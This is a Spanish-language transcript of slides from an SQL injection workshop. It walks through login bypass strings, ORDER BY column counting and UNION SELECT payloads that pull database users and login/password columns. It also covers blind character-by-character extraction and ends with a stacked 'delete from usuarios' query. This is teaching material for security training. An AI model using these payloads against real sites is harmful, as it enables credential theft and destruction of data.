sql injection
TRANSCRIPT
Problemas de configuración del servidor.
Bugs en los modulos del framework usado en el
sitio (Actualizaciones)
Problemas en la lógica del negocio
› Manejo incorrecto de archivos.
› Mal filtrado de variables.
Problemas en la lógica del negocio
› Mal filtrado de variables .
$login=$_POST['login'];
$login <- roguer
$login <- ‘
Internamente › SELECT * FROM usuarios WHERE nombre= „$login‟
AND password=„$pass‟
SELECT * FROM usuarios WHERE nombre = „roguer‟
AND password=„contrasena‟
SELECT * FROM usuarios WHERE nombre = „‟‟ AND
password=„‟‟
Paginas de inicio de sesión
› Nombre de Usuario
› Contraseña
http://mi_ip/Taller
„or‟‟=„
„or‟1‟=„1
Select * from usuarios where nombre=„„or‟‟=„‟
AND password=„„or‟‟=„‟
Operaciones sobre consultas
› Order by
› Union
› Limit
Pagina que gestiona el contenido de
una base de datos.
› Paginas que contienen un parámetro tipo id
› ¿ Y si hacemos que ese sea id=„ ?
“Error”
¿Se esta consultando una tabla de la
base de datos?
¿Nos muestra algún error?
Que nos sirve saber acerca de la tabla
consultada?
Obteniendo el numero de columnas
› Pagina.php?id=-1+order+by+X—
¿Porque -1?
¿Que hace el order by en esta consulta?
¿Como puedo obtener un resultado de
la inyección?
Obteniendo un resultado visible en el
sitio.
› Pagina.php?id=-1+union+select+1,2,3.,.,n—
› ¿Cual es la diferencia ahora?
› ¿Para que esos números?
Funciones de mysql
› Version()
› User()
› Database()
› Concat()
Obteniendo información de la conexión.
› Pagina.php?id=-1+union+select+1,user(),3.,.,n—
› ¿Cual es la diferencia ahora?
› ¿Qué resultado arrojó?
Malicia Indígena o information.schema.› Pagina.php?id=-1+union+ select+1,2,3.,.,n+from+tabla—
› ¿Qué resultado arrojó?
¿Si tengo el nombre de la tabla y las
columnas que puedo hacer?
Pagina.php?id=-1+union+select+1,login,pass, ...,n+from+usuarios—
¿Cómo paso al siguiente registro?
¿Y si la pagina no genera errores al hacer id=„?
Estructura de la consulta
› SELECT * FROM noticias WHERE id=$id
› SELECT * FROM noticias WHERE id=5
› SELECT * FROM noticias WHERE id=5 AND 1=1
Concepto de Subconsultas
› SELECT count(*) FROM tabla
› SELECT count(campo) FROM tabla
› SELECT * FROM noticias WHERE id=5 AND 1=1
Uniendo campos y usando operadores
› SELECT concat(login,0x3a,password) FROM usuarios LIMIT 0,1
› substring(campo,carater_inicio,tamaño)
› substring(campo,1,1)
› Ascii(caracter)
¿Toca sacar carácter por carácter?
¿Cómo se cuantos caracteres debo
sacar?
¿Es esto critico?
¿Para puede servir esta información?
¿A través de SQL-Inyection solo se
puede sacar información?
› login=‘roguer’;delete from usuarios--